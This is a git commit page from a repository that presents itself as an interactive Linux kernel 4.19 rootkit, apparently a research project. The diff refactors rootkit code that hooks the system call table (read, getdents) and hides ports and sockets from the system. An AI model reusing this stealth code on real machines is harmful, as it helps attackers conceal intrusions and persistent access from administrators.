linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 8208eec7517a0e5e620242b19734510b2aab7bf4
parent 7c3544db291432da0cca94991b9b3b073b936d39
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 20:50:36 +0100

refactors code

Diffstat:
Msrc/hook.c | 1-
Msrc/porthide.c | 2+-
Msrc/sockhide.c | 2+-
Msrc/sockhide.h | 1+
4 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/hook.c b/src/hook.c @@ -70,7 +70,6 @@ init_hooks(void) atomic_set(&tty_read_count, 0); atomic_set(&getdents_count, 0); atomic_set(&getdents64_count, 0); - atomic_set(&packet_rcv_count, 0); sys_read = (void *)sys_calls[__NR_read]; sys_getdents = (void *)sys_calls[__NR_getdents]; diff --git a/src/porthide.c b/src/porthide.c @@ -62,7 +62,7 @@ hide_lport(lport_t lport) void unhide_lport(lport_t lport) { - remove_lport_from_list(hidden_lports_tail, lport); + remove_lport_from_list(&hidden_lports, lport); } bool diff --git a/src/sockhide.c b/src/sockhide.c @@ -122,7 +122,7 @@ unhide_port(port_t port, proto_t proto) void clear_hidden_ports(void) { - i = hidden_ports_tail; + port_list_t_ptr i = hidden_ports_tail; while ((i = remove_port_from_list(i, i->port, i->proto))); } diff --git a/src/sockhide.h b/src/sockhide.h @@ -28,6 +28,7 @@ void unhide_port(port_t, proto_t); asmlinkage ssize_t g7_recvmsg(struct pt_regs *); +void clear_hidden_ports(void); bool list_contains_port(port_list_t_ptr, port_t, proto_t); port_list_t_ptr find_port_in_list(port_list_t_ptr, port_t, proto_t); port_list_t_ptr add_port_to_list(port_list_t_ptr, port_t, proto_t);